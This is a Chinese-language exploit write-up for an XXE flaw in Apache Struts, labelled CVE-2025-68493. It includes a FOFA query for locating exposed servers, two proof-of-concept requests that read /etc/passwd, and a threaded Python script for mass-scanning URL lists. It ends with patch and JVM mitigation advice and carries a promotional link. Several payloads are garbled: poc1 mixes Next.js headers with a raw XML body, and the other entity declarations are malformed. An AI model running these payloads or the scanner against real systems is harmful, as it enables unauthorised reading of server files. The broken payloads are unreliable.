免责申明:
本文所描述的漏洞及其复现步骤仅供网络安全研究与教育目的使用。任何人不得将本文提供的信息用于非法目的或未经授权的系统测试。作者不对任何由于使用本文信息而导致的直接或间接损害承担责任。如涉及侵权,请及时与我们联系,我们将尽快处理并删除相关内容。
前言:
我们建立了一个更多,更全的知识库。每日追踪最新的安全漏洞并提供批量性检测脚本。
更多详情:
https://pc.fenchuan8.com/#/index?forum=101158&yqm=DGR4X
0x01 产品描述:
Apache Struts 是一个免费的开源 MVC 框架,用于创建优雅的现代 Java Web 应用程序。它支持约定优于配置,可使用插件架构进行扩展,并附带支持 REST、AJAX 和 JSON 的插件。
0x02 漏洞描述:
Apache Struts 存在XML外部实体注入漏洞,XWork-Core 组件在解析XML配置文件时,未对XML外部实体进行充分校验与限制,导致攻击者可通过构造恶意XML内容触发外部实体解析。成功利用后,可能造成敏感数据泄露、拒绝服务等安全影响。
0x03 影响版本:
2.0.0 ≤ Apache Struts ≤ 2.3.37
2.5.0 ≤ Apache Struts ≤ 2.5.33
6.0.0 ≤ Apache Struts ≤ 6.1.0
0x04 搜索语句:
FOFA:app="Struts2"

0x05 漏洞复现:
线上很多蜜罐,自行分别
poc1
POST /struts2-xml-parser/xmlParserNoDtdParse HTTP/2
Host:
Next-Action: x
X-Nextjs-Request-Id: e9myfwgx
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: uEBTJuTmVvbHxbRvCmf0m
Content-Length: 104
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>
poc2
POST /xmlParser.action HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
Content-Length: 120
Accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/webp, image/apng, */*; q=0.8, application/signed-exchange; v=b3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
xmlContent=
%3fxml+version%3d'1.0'%3f'>
<!DOCTYPE+root+[<!ENTITY+root+["!ENTITY+xse+SYSTEM+"file%3a/etc/passwd"]>]><root>26xse%3b</root>

0x06 批量检测脚本:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Struts2 CVE-2025-68493 XXE漏洞检测脚本
"""
import sys
import os
import requests
import urllib3
import threading
import queue
import argparse
import time
import re
from concurrent.futures import ThreadPoolExecutor, as_completed
from colorama import init, Fore, Style
init(autoreset=True)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
#payload
PAYLOAD = '''<?xml version='1.0'?>
<!DOCTYPE root [<!ENTITY root ["!ENTITY xse SYSTEM "file:/etc/passwd"]>]><root>26xse;</root>'''
class Struts2Scanner:
def __init__(self, threads=10, output_file=None):
self.threads = threads
self.output_file = output_file
self.vulnerable_urls = []
self.lock = threading.Lock()
self.scanned_count = 0
self.vuln_count = 0
def add_http_scheme(self, url):#自动增加协议
if not url.startswith(('http://', 'https://')):
return f'http://{url}'
return url
def clean_url(self, url):
url = url.strip()
if url.endswith('/'):
url = url[:-1]
return url
def check_vulnerability(self, url):
try:
target_url = self.add_http_scheme(self.clean_url(url))
full_url = f"{target_url}/xmlParser.action"
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0',
'Content-Type': 'application/x-www-form-urlencoded',
'Accept': 'text/html, application/xhtml+xml, application/xml;q=0.9, image/webp, image/apng, */*; q=0.8, application/signed-exchange; v=b3',
'Accept-Encoding': 'gzip, deflate'
}
data = {
'xmlContent': PAYLOAD
}
response = requests.post(full_url,
headers=headers,
data=data,
verify=False,
timeout=10,
allow_redirects=False)
with self.lock:
self.scanned_count += 1
if response.status_code == 200:
response_text = response.text
if 'root:x' in response_text and '/bin' in response_text:
with self.lock:
self.vuln_count += 1
self.vulnerable_urls.append(target_url)
return True, target_url, "漏洞存在"
else:
return False, target_url, "响应状态200,但未检测到漏洞特征"
else:
return False, target_url, f"响应状态码: {response.status_code}"
except requests.exceptions.RequestException as e:
return False, url, f"请求错误: {str(e)}"
except Exception as e:
return False, url, f"检测错误: {str(e)}"
def process_single_url(self, url):
print(f"[*] 正在检测: {url}")
is_vuln, checked_url, message = self.check_vulnerability(url)
if is_vuln:
print(f"{Fore.GREEN}[+] 漏洞存在: {checked_url} - {message}")
else:
print(f"{Fore.RED}[-] 无漏洞: {checked_url} - {message}")
return is_vuln, checked_url
def process_batch_urls(self, urls):
print(f"[*] 开始批量检测,线程数: {self.threads}")
print(f"[*] 待检测URL数量: {len(urls)}")
print("-" * 50)
start_time = time.time()
with ThreadPoolExecutor(max_workers=self.threads) as executor:
futures = {executor.submit(self.check_vulnerability, url): url for url in urls}
for future in as_completed(futures):
url = futures[future]
try:
is_vuln, checked_url, message = future.result()
if is_vuln:
print(f"{Fore.GREEN}[+] 漏洞存在: {checked_url}")
else:
print(f"[-] 无漏洞: {checked_url} - {message}")
except Exception as e:
print(f"{Fore.YELLOW}[!] 检测异常: {url} - {str(e)}")
end_time = time.time()
self.show_results(start_time, end_time)
def show_results(self, start_time, end_time):
print("\n" + "=" * 60)
print(f"[*] 扫描完成")
print(f"[*] 耗时: {end_time - start_time:.2f}秒")
print(f"[*] 已扫描: {self.scanned_count}个URL")
print(f"[*] 发现漏洞: {self.vuln_count}个")
print("=" * 60)
if self.vulnerable_urls:
print(f"\n{Fore.GREEN}[+] 发现漏洞的URL列表:")
for url in self.vulnerable_urls:
print(f" {Fore.GREEN}• {url}")
#导出到文件
if self.output_file:
self.save_results()
print(f"\n{Fore.CYAN}[*] 漏洞URL已保存到: {self.output_file}")
else:
print(f"\n{Fore.YELLOW}[-] 未发现存在漏洞的URL")
def save_results(self):
try:
with open(self.output_file, 'w', encoding='utf-8') as f:
for url in self.vulnerable_urls:#漏洞存在导出
f.write(f"{url}\n")
except Exception as e:
print(f"{Fore.RED}[!] 保存文件失败: {str(e)}")
def read_urls_from_file(self, filename):
urls = []
try:
with open(filename, 'r', encoding='utf-8') as f:
for line in f:
line = line.strip()
if line and not line.startswith(('#')):
urls.append(line)
except FileNotFoundError:
print(f"{Fore.RED}[!] 文件不存在: {filename}")
sys.exit(1)
except Exception as e:
print(f"{Fore.RED}[!] 读取文件失败: {str(e)}")
sys.exit(1)
if not urls:
print(f"{Fore.YELLOW}[!] 文件中没有找到有效的URL")
sys.exit(1)
return urls
def main():
parser = argparse.ArgumentParser(
description='Struts2 CVE-2025-68493 XXE漏洞检测工具',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog='''
使用示例:
%(prog)s -u http://example.com
%(prog)s -f urls.txt -t 20
%(prog)s -f urls.txt -o results.txt
'''
)
parser.add_argument('-u', '--url', help='单个URL检测')
parser.add_argument('-f', '--file', help='从文件读取URL进行批量检测')
parser.add_argument('-t', '--threads', type=int, default=10,
help='线程数量 (默认: 10)')
parser.add_argument('-o', '--output', help='将漏洞URL导出到指定文件')
args = parser.parse_args()
if not args.url and not args.file:
parser.print_help()
print(f"\n{Fore.RED}[!] 错误: 必须指定 -u 或 -f 参数")
sys.exit(1)
if args.url and args.file:
print(f"{Fore.YELLOW}[!] 警告: 同时指定了 -u 和 -f 参数,将使用 -u 参数")
scanner = Struts2Scanner(threads=args.threads, output_file=args.output)
print(f'''
{Fore.CYAN}Struts2 CVE-2025-68493 XXE漏洞检测工具
{Fore.CYAN}Author: iSee857
{Fore.CYAN}========================================
''')
try:
if args.url:
# 单个URL检测
scanner.process_single_url(args.url)
elif args.file:
# 批量检测
urls = scanner.read_urls_from_file(args.file)
scanner.process_batch_urls(urls)
except KeyboardInterrupt:
print(f"\n{Fore.YELLOW}[!] 用户中断扫描")
if scanner.vulnerable_urls and scanner.output_file:
scanner.save_results()
print(f"{Fore.CYAN}[*] 已保存已发现的漏洞URL到: {scanner.output_file}")
sys.exit(0)
except Exception as e:
print(f"{Fore.RED}[!] 程序执行出错: {str(e)}")
sys.exit(1)
if __name__ == '__main__':
main()

0x07 修复建议:
官方已发布最新版本修复该漏洞,建议受影响用户将Apache Struts更新到6.1.1及以上版本。
下载链接:https://struts.apache.org/download.cgi
无法立即升级的用户可以通过以下方式缓解:
1、使用自定义SAXParserFactory:将xwork.saxParserFactory设置为默认禁用外部实体的自定义工厂类;
2、定义JVM级别的配置:通过系统属性配置JVM的默认XML解析器以禁用外部实体(设置为空字符串以阻止所有协议):
-Djavax.xml.accessExternalDTD=""
-Djavax.xml.accessExternalSchema=""
-Djavax.xml.accessExternalStylesheet=""